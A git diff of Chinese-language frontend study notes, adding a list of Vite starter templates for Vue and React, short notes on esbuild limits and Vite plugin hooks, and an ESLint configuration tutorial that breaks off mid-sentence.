[vite-vue-js-starter-template](https://github.com/ElanYoung/vite-vue-js-starter-template) - Vite + Vue3 + JavaScript + Vue Router + Pinia + TDesign + ESLint + Stylelint + Prettier Simple Template. +- [vite-vue3-bootstrap-ts-vitest-starter](https://github.com/marcoarruda/vite-vue3-bootstrap-ts-vitest-starter) - Vue 3 + TypeScript + Vite + Bootstrap Vue 3 + Vitest. +- [vue-xs-admin](https://github.com/jsxiaosi/vue-xs-admin) - Based on Vue3, Vite3 ElementPlus, TypeScript, Pinia, VueRouter. +- [vue-component-template](https://github.com/houtaroy/vue-component-template) - Vue 3, TSX, ESLint, Prettier. +- [ionic-vue-vite](https://github.com/reslear/ionic-vue-vite) - Vue 3 + Vue Router + Vite + Ionic. +- [ionic-vue-pnpm-monorepo](https://github.com/reslear/ionic-vue-pnpm-monorepo) - Vue 3 + Vue Router + Vite + Ionic + pnpm monorepo. +- [ionic-vue-pnpm-express-monorepo](https://github.com/reslear/ionic-vue-pnpm-express-monorepo) - Frontend: Vue 3 + Vue Router + Vite + Ionic, Backend: express + pnpm monorepo. +- [ionic-vue-capacitor](https://github.com/reslear/ionic-vue-capacitor) - Vue 3 + Vue Router + Vite + Ionic + Capacitor + pnpm monorepo. +- [ultimate-vite-ts-less-template](https://github.com/alireza0sfr/vue3-vite-ts-base) - Vue 3, TypeScript, Less, i18n, Vitest, Vitepress, lodash, Axios, Pinia, Built-in logger, Built-in Input Validators, env files. +- [vite-vue-h5-app](https://github.com/l-x-f/vite-vue-h5-app) - Vite 3 + Vue 3.2 + TypeScript + Vant mobile applications. +- [vulcan](https://github.com/pengzhanbo/vulcan) - The template for mobile application. Vite, Vue 3, TypeScript, Sass, i18n, Vitest&Cypress, Pinia, APIs&Mock, ESLint, Prettier, auto-importing. +- [vite-plugin-ssr-vue3-ts-compositionAPI-i18n-fetchData](https://github.com/alivadjid/vite-plugin-ssr-i18n-vue3) - Vue3 + Typescript + CompositionAPI + i18n + fetchData. +- [vite-plugin-vue-sfc-in-js](https://github.com/iosamuel/vite-plugin-vue-sfc-in-js) - Vue SFC syntax in JS files, allows to create multiple components in a single .js file. + +#### Vue 2 + +- [vite-vue2-windicss-starter](https://github.com/lstoeferle/vite-vue2-windicss-starter) - Vue 2, Vue Router, Composition API, VueUse, Windi CSS and TypeScript. +- [vite-ts-vue2-todo](https://github.com/nabaonan/todos-action/tree/master/vue2-vite-ts) - Vue2 + ts + Vue-Router3 + Pinia1 + Composition API. +- [vite-vue2-ts-starter](https://github.com/logue/vite-vue2-ts-starter) - Vue2 TypeScript startar template using vue-property-decorator, vue-router, Vuex. +- [vite-vue2-ts-vuetify-starter](https://github.com/logue/vite-vue2-vuetify-ts-starter) - It is the above vite-vue2-ts-starter with Vuetify and its optimized settings. Includes basic templates. +- [vite-vue2-ts-template-starter](https://github.com/Luncode/vite-vue2-ts-template-starter) - Vite + Vue2 + Typescript + Vuex + Vue-router + Axios + Sass Simple Template. +- [vitify-admin](https://github.com/kingyue737/vitify-admin) - Vuetify admin starter template with full TypeScript support and intellisense of Vuetify components. +- [vite-vue2-js-starter-template](https://github.com/ElanYoung/vite-vue2-js-starter-template) - Vite + Vue2 + JavaScript + Vue Router + Vuex + Axios + Less + ESLint + Stylelint + Prettier Simple Template. + +#### React + +- [Vitamin](https://github.com/wtchnm/Vitamin) - React TypeScript, TailwindCSS, SPA + PWA, Cypress and CI. +- [vite-reactts-eslint-prettier](https://github.com/TheSwordBreaker/vite-reactts-eslint-prettier) - React, TypeScript, ESlint, Prettier, Pre-commit. +- [react-vite-admin](https://github.com/ychengcloud/react-vite-admin) - React, Recoil, React Query, React Hooks, TypeScript, Axios. +- [vite-template-react](https://github.com/SafdarJamal/vite-template-react) - A Create React App-like template. +- [vitejs-template-react-rescript](https://github.com/jihchi/vitejs-template-react-rescript) - React + ReScript. +- [template-vite-react](https://github.com/lzm0x219/template-vite-react) - A minimal React Vite starter template. +- [reactjs-vite-tailwindcss-boilerplate](https://github.com/joaopaulomoraes/reactjs-vite-tailwindcss-boilerplate) - React 18, TypeScript, Vitest, Testing Library, TailwindCSS 3, Eslint and Prettier. +- [Tropical](https://github.com/bensmithett/tropical) - React, Storybook, MDX, Fela, SSR prerendering, and [islands architecture](https://www.npmjs.com/package/tropical-islands). +- [vite-plugin-react-refresh](https://github.com/fengxinming/vite-plugins/tree/main/packages/vite-plugin-react-refresh) - Provide enhancements for [@vitejs/plugin-react-refresh](https://www.npmjs.com/package/@vitejs/plugin-react-refresh). +- [vite-reactts18-chakra-jest-husky](https://github.com/The24thDS/vite-reactts18-chakra-jest-husky) - React 18, TypeScript, Chakra UI, Jest, ESLint, Prettier, Husky. +- [react-ts-vite-template](https://github.com/fabien-ml/react-ts-vite-template) - React, TypeScript, Jest, Testing Library, Cypress, ESLint, Prettier, Husky. +- [vite-reactts-tailwind-rtk-eslint](https://github.com/IsaiaPhiliph/vite-reactts-tailwind-rtk-eslint) - React, TypeScript, Tailwind CSS, Redux Toolkit, eslint. +- [vite-react-tailwind-template](https://github.com/Innei/vite-react-tailwind-template) - React 17, TypeScript, Jest, ESLint, Prettier, Husky, Tailwind CSS, PostCSS, pnpm. +- [stravital](https://github.com/rizkimcitra/stravital) - TypeScript, Git Hooks, Commitizen, Lint Staged, TailwindCSS. +- [vite-react-ts-tailwind-firebase-starter](https://github.com/TeXmeijin/vite-react-ts-tailwind-firebase-starter) - Starter using Vite + React + TypeScript + Tailwind CSS (daisyUI) + Firebase (v9) + Prettier + ESLint. +- [vite-react-ts-starter](https://github.com/uchihamalolan/vite-react-ts) - React, TypeScript, Jest, ESLint, Prettier, TailwindCSS, Husky, Conventional Commits. +- [vital](https://github.com/jvidalv/vital) - React, TypeScript, Tailwind (JIT), CSS-Modules, Jest, Atomic Design, Prettier, Husky, Commit-lint. +- [vite-react-ts-ghactions-template](https://github.com/pchmn/vite-react-ts-ghactions-template) - React, TypeScript, Vitest + React Testing Library, GitHub Actions + GitHub Pages, ESLint, Prettier, Husky, Commitlint. +- [vite-react-tailwind-v3](https://github.com/huibizhang/template-vite-react-tailwind-v3) - Starter template for React + TailwindCSS and `prettier-plugin-tailwindcss` build-in. +- [vite-react-ts-tailwind-v3](https://github.com/huibizhang/template-vite-react-ts-tailwind-v3) - Starter template for React + Typescript + TailwindCSS and `prettier-plugin-tailwindcss` build-in. +- [vite-react-ts-extended](https://github.com/laststance/vite-react-ts-extended) - React, TypeScript, TailwindCSS, MSW, Axios, Jest, React Testing Library, ESLint, Prettier, GitHub Actions. +- [vite-react-starter](https://github.com/fabgrel10/vite-react-starter) - React + ESLint + Prettier + SASS + Emotion + TailwindCSS + Jest + Testing Library. +- [chrome-extension-boilerplate-react-vite](https://github.com/Jonghakseo/chrome-extension-boilerplate-react-vite) - React + TypeScript + SASS + Prettier + ESLint + GitHub Actions + Chrome Extension Manifest v3. +- [vite-ant-design-pro](https://github.com/1247748612/vite-ant-design-pro) - React + antd + ProComponents + ReactQuery + ReactRouter6. +- [vite-rtk-query](https://github.com/laststance/vite-rtk-query) - React, TypeScript, Redux Toolkit, RTK Query, TailwindCSS, MSW, Jest, React Testing Library, ESLint, Prettier. +- [vite-react-proste](https://github.com/xyhxx/vite-react-proste) - React + TypeScript + `react-router-dom` + Recoil + SASS + Testing Library + `react-query` + ESLint + Stylelint + Prettier. +- [React-PWA](https://github.com/suren-atoyan/react-pwa) - React v18, TypeScript, Vite, React Router v6, MUI v5, Recoil, PWA, Eslint, Prettier, Husky, lint-staged, https localhost and more. +- [vite-react-ts-minimal-template](https://github.com/alessandropisu/vite-react-ts-minimal-template) - React + TypeScript + Airbnb ESLint + Prettier + Husky. +- [react-vite-ssr](https://github.com/EverSeenTOTOTO/browser-app-boilerplate/tree/react-vite-ssr) - Mobx, Typescript, Eslint, Stylelint, Husky, Lint-staged and Commitlint. +- [Viact](https://github.com/MR-Mostafa/Viact) - React + TypeScript + ESLint + Prettier + Support RTL + mock REST API Viact + Storybook, ErrorBoundary, UnoCss and more. +- [Viterts](https://github.com/erdoganbulut/viterts/) - React + TypeScript + Redux + React Router + Jest + ESLint + Airbnb + Prettier + SASS. +- [ViteRC](https://github.com/potreco/viterc) - React 18 + TypeScript + ESLint (Airbnb) + Prettier + Husky + Jest + Absolute imports + Commit linting. +- [VRTTV](https://github.com/Drumpy/vrttv-boilerplate) - React + TypeScript + TailwindCSS + ESLint + Prettier + Husky + Conventional Commits + Gitmoji + GitHub Actions + Vercel Deploy. +- [React Starter Kit](https://github.com/kriasoft/react-starter-kit) - Jamstack, React, React Router, Material UI, Firebase Auth, TypeScript, ESLint, Prettier, Jest, GitHub Actions. +- [vite-mern-template](https://github.com/apicgg/vite-mern-template) - React 18 + TypeScript + Vite + Redux Toolkit + ESLint + React Router DOM + Axios + React Icons + React Toastify + Express + Mongoose. +- [react-pipeline](https://github.com/maifeeulasad/react-pipeline) - React 18 + TS + AntD + GitHub Pages + Tailwind + Sass + React Router DOM + ESLint. +- [Varsarr](https://github.com/altmshfkgudtjr/varsarr) - React, Typescript, Styled-Components, Recoil, React-Query, Axios, Absolute imports. +- [viterjs-template](https://github.com/emre-cil/viterjs-template) - React + JavaScript + Redux + Material UI + Axios + ESLint + Prettier. +- [react-vite-ts-boilerplate](https://github.com/choisohyun/react-vite-ts-boilerplate) - React 18, TypeScript, SCSS, ESLint, Prettier, Vitest. +- [vite-react-universal-template](https://github.com/laoer536/vite3.0-react18-TypeScript-router-dom6-mobx6-Eslint-prettier-template) - React18 + TypeScript + `react-router-dom` + Mobx + ESlint + Prettier+Husky, and APIs auto importing. +- [vite-reactts18-eslint-tailwindcss](https://github.com/dserranoc/vite-reactts18-eslint-tailwindcss) - React 18 + TypeScript + ESLint + TailwindCSS. +- [vite-plugin-react-views](https://github.com/KAROTT7/vite-plugin-react-views) - Create routes automatically based on File System. +- [react-vite-template](https://github.com/985563349/react-vite-template) - A react project template. +- [react-xs-admin](https://github.com/jsxiaosi/react-xs-admin) - The background management system template developed based on React18 + ReactRouteV6 + Vite + And Design + ReactIntl + ReactRedux + Emulation. +- [vite-mui-ts](https://github.com/emre-cil/vite-mui-ts) - React + TypeScript + Redux + Material UI + RRD + ESLint + Prettier. +- [leo-react-app](https://github.com/Leo-Henrique/leo-react-app) - React + SASS | Template for React applications with SASS boilerplate for consistent interfaces. +- [template-vite-react-ts-tailwind](https://github.com/RoyRao2333/template-vite-react-ts-tailwind) - React + TypeScript + Tailwind CSS + Eslint + Prettier. +- [vite-react-ts-tailwind-template](https://github.com/nrabhiram/vite-react-ts-tailwind-template) - React, TypeScript, ESLint, Prettier, Husky, Vitest for specs, and Tailwind + CSS Modules. +- [vite-react-ts-template](https://github.com/bartstc/vite-ts-react-template) - React 18, TypeScript, ESlint, Prettier, Dev Container, Vitest, Storybook, Playwright, MSW, React Router 6, React Query, Chakra UI, Zustand. \ No newline at end of file diff --git "a/src/Vite/Vite \345\260\217\345\206\214\347\254\224\350\256\260.md" "b/src/Vite/Vite \345\260\217\345\206\214\347\254\224\350\256\260.md" new file mode 100644 index 00000000..cf51e9ca --- /dev/null +++ "b/src/Vite/Vite \345\260\217\345\206\214\347\254\224\350\256\260.md" @@ -0,0 +1,20 @@ +Esbuild 作为打包工具也有一些缺点。 + +- 不支持降级到 `ES5` 的代码。这意味着在低端浏览器代码会跑不起来。 +- 不支持 `const enum` 等语法。这意味着单独使用这些语法在 esbuild 中会直接抛错。 +- 不提供操作打包产物的接口,像 Rollup 中灵活处理打包产物的能力(如`renderChunk`钩子)在 Esbuild 当中完全没有。 +- 不支持自定义 Code Splitting 策略。传统的 Webpack 和 Rollup 都提供了自定义拆包策略的 API,而 Esbuild 并未提供,从而降级了拆包优化的灵活性。 +- Esbuild 并没有实现 TS 的类型系统,在编译 `TS`(或者 `TSX`) 文件时仅仅抹掉了类型相关的代码,暂时没有能力实现类型检查。`vite build`之前会先执行`tsc`命令,也就是借助 TS 官方的编译器进行类型检查。 + + +![vite插件开发钩子函数 (1).png](https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/a951108fd62d44f88b1489d7906c9482~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.awebp?) + + +### 独有 Hook + +1. 给配置再加点料: config +2. 记录最终配置: configResolved +3. 获取 Dev Server 实例: configureServer +4. 转换 HTML 内容: transformIndexHtml +5. 热更新处理: handleHotUpdate +6. \ No newline at end of file diff --git "a/src/Vite/\351\235\231\346\200\201\350\265\204\346\272\220\345\244\204\347\220\206.md" "b/src/Vite/\351\235\231\346\200\201\350\265\204\346\272\220\345\244\204\347\220\206.md" new file mode 100644 index 00000000..e69de29b diff --git "a/src/Vite/\351\241\271\347\233\256 Lint \347\256\241\347\220\206.md" "b/src/Vite/\351\241\271\347\233\256 Lint \347\256\241\347\220\206.md" new file mode 100644 index 00000000..4fe12b56 --- /dev/null +++ "b/src/Vite/\351\241\271\347\233\256 Lint \347\256\241\347\220\206.md" @@ -0,0 +1,381 @@ +## Eslint + +Eslint 是国外的前端大牛`Nicholas C. Zakas`在 2013 年发起的一个开源项目,有一本书被誉为前端界的"圣经",叫《JavaScript 高级程序设计》(即红宝书),他正是这本书的作者。 + +`Nicholas` 当初做这个开源项目,就是为了打造一款插件化的 JavaScript 代码静态检查工具,通过解析代码的 AST 来分析代码格式,检查代码的风格和质量问题。现在,Eslint 已经成为一个非常成功的开源项目了,基本上属于前端项目中 Lint 工具的标配。 + +ESLint 的使用并不复杂,主要通过配置文件对各种代码格式的规则(`rules`)进行配置,以指定具体的代码规范。目前开源社区也有一些成熟的规范集可供使用,著名的包括[Airbnb JavaScript 代码规范](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Fairbnb%2Fjavascript)、[Standard JavaScript 规范](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Fstandard%2Fstandard%2Fblob%2Fmaster%2Fdocs%2FREADME-zhcn.md)、[Google JavaScript 规范](https://link.juejin.cn/?target=https%3A%2F%2Fgoogle.github.io%2Fstyleguide%2Fjsguide.html)等等,你可以在项目中直接使用这些成熟的规范,也可以自己定制一套团队独有的代码规范,这在一些大型团队当中还是很常见的。 + +#### 安装 & 初始化 + +```bash +pnpm i eslint -D +``` + +接着执行 ESLint 的初始化命令,并进行如下的命令行交互: + +```ts +npx eslint --init +``` + +#### 核心配置 + +#### 1. parser - 解析器 + +ESLint 底层默认使用 [Espree](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Feslint%2Fespree)来进行 AST 解析,这个解析器目前已经基于 `Acron` 来实现,虽然说 `Acron` 目前能够解析绝大多数的 [ECMAScript 规范的语法](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Facornjs%2Facorn%2Ftree%2Fmaster%2Facorn),但还是不支持 TypeScript ,因此需要引入其他的解析器完成 TS 的解析。 + +社区提供了`@typescript-eslint/parser`这个解决方案,专门为了 TypeScript 的解析而诞生,将 `TS` 代码转换为 `Espree` 能够识别的格式(即 [**Estree 格式**](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Festree%2Festree)),然后在 Eslint 下通过`Espree`进行格式检查, 以此兼容了 TypeScript 语法。 + +#### 2. parserOptions - 解析器选项 + +这个配置可以对上述的解析器进行能力定制,默认情况下 ESLint 支持 ES5 语法,你可以配置这个选项,具体内容如下: + +- ecmaVersion: 这个配置和 `Acron` 的 [ecmaVersion](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Facornjs%2Facorn%2Ftree%2Fmaster%2Facorn) 是兼容的,可以配置 `ES + 数字`(如 ES6)或者`ES + 年份`(如 ES2015),也可以直接配置为`latest`,启用最新的 ES 语法。 +- sourceType: 默认为`script`,如果使用 ES Module 则应设置为`module` +- ecmaFeatures: 为一个对象,表示想使用的额外语言特性,如开启 `jsx` + +#### 3. rules - 具体代码规则 + +`rules` 配置即代表在 ESLint 中手动调整哪些代码规则,比如`禁止在 if 语句中使用赋值语句`这条规则可以像如下的方式配置: + +```ts +// .eslintrc.js +module.exports = { + // 其它配置省略 + rules: { + // key 为规则名,value 配置内容 + "no-cond-assign": ["error", "always"] + } +} +``` + +在 rules 对象中,`key` 一般为`规则名`,`value` 为具体的配置内容,在上述的例子中我们设置为一个数组,数组第一项为规则的 `ID`,第二项为`规则的配置`。 + +这里重点说一说规则的 ID,它的语法对所有规则都适用,你可以设置以下的值: + +- `off` 或 `0`: 表示关闭规则。 +- `warn` 或 `1`: 表示开启规则,不过违背规则后只抛出 warning,而不会导致程序退出。 +- `error` 或 `2`: 表示开启规则,不过违背规则后抛出 error,程序会退出。 + +具体的规则配置可能会不一样,有的是一个字符串,有的可以配置一个对象,你可以参考 [ESLint 官方文档](https://link.juejin.cn/?target=https%3A%2F%2Fcn.eslint.org%2Fdocs%2Frules%2F)。 + +当然,你也能直接将 `rules` 对象的 `value` 配置成 ID,如: `"no-cond-assign": "error"`。 + +#### 4. plugins + +上面提到过 ESLint 的 parser 基于`Acorn`实现,不能直接解析 TypeScript,需要我们指定 parser 选项为`@typescript-eslint/parser`才能兼容 TS 的解析。同理,ESLint 本身也没有内置 TypeScript 的代码规则,这个时候 ESLint 的插件系统就派上用场了。我们需要通过添加 ESLint 插件来增加一些特定的规则,比如添加`@typescript-eslint/eslint-plugin` 来拓展一些关于 TS 代码的规则,如下代码所示: + +```js +// .eslintrc.js +module.exports = { + // 添加 TS 规则,可省略`eslint-plugin` + plugins: ['@typescript-eslint'] +} +``` + +值得注意的是,添加插件后只是拓展了 ESLint 本身的规则集,但 ESLint 默认并**没有开启**这些规则的校验!如果要开启或者调整这些规则,你需要在 rules 中进行配置,如: + +```js +// .eslintrc.js +module.exports = { + // 开启一些 TS 规则 + rules: { + '@typescript-eslint/ban-ts-comment': 'error', + '@typescript-eslint/no-explicit-any': 'warn', + } +} +``` + +#### 5. extends - 继承配置 + +extends 相当于`继承`另外一份 ESLint 配置,可以配置为一个字符串,也可以配置成一个字符串数组。主要分如下 3 种情况: + +1. 从 ESLint 本身继承; +2. 从类似 `eslint-config-xxx` 的 npm 包继承; +3. 从 ESLint 插件继承; +4. 从配置文件中继承。 + +```ts +// .eslintrc.js +module.exports = { + "extends": [ + // 第1种情况 + "eslint:recommended", + // or 启用当前安装的 ESLint 中所有的核心规则 + "eslint:all", + // 第2种情况,一般配置的时候可以省略 `eslint-config` + "standard" + // 第3种情况,可以省略包名中的 `eslint-plugin` + // 格式一般为: `plugin:${pluginName}/${configName}` + "plugin:react/recommended" + "plugin:@typescript-eslint/recommended", + // 第4种 + "./node_modules/coding-standard/eslintDefaults.js", + ] +} +``` + +有了 extends 的配置,对于之前所说的 ESLint 插件中的繁多配置,我们就**不需要手动一一开启**了,通过 extends 字段即可自动开启插件中的推荐规则: + +```js +extends: ["plugin:@typescript-eslint/recommended"] +``` + +更多继承配置项:[Configuring ESLint - ESLint中文文档](https://eslint.bootcss.com/docs/user-guide/configuring) + +#### 6. env 和 globals + +这两个配置分别表示`运行环境`和`全局变量`,在指定的运行环境中会预设一些全局变量,比如: + +```js +// .eslint.js +module.export = { + "env": { + "browser": "true", + "node": "true" + } +} +``` + +指定上述的 `env` 配置后便会启用浏览器和 Node.js 环境,这两个环境中的一些全局变量(如 `window`、`global` 等)会同时启用。 + +有些全局变量是业务代码引入的第三方库所声明,这里就需要在`globals`配置中声明全局变量了。每个全局变量的配置值有 3 种情况: + +1. `"writable"`或者 `true`,表示变量可重写; +2. `"readonly"`或者`false`,表示变量不可重写; +3. `"off"`,表示禁用该全局变量。 + +那`jquery`举例,我们可以在配置文件中声明如下: + +```js +// .eslintrc.js +module.exports = { + "globals": { + // 不可重写 + "$": false, + "jQuery": false + } +} +``` + +相信有了上述核心配置部分的讲解,你再回头看看初始化生成的 ESLint 配置文件,你也能很好地理解各个配置项的含义了。 + +### eslint-plugin-vue + +是Vue.js 的官方 ESLint 插件。这个插件允许我们使用 ESLint 检查文件的`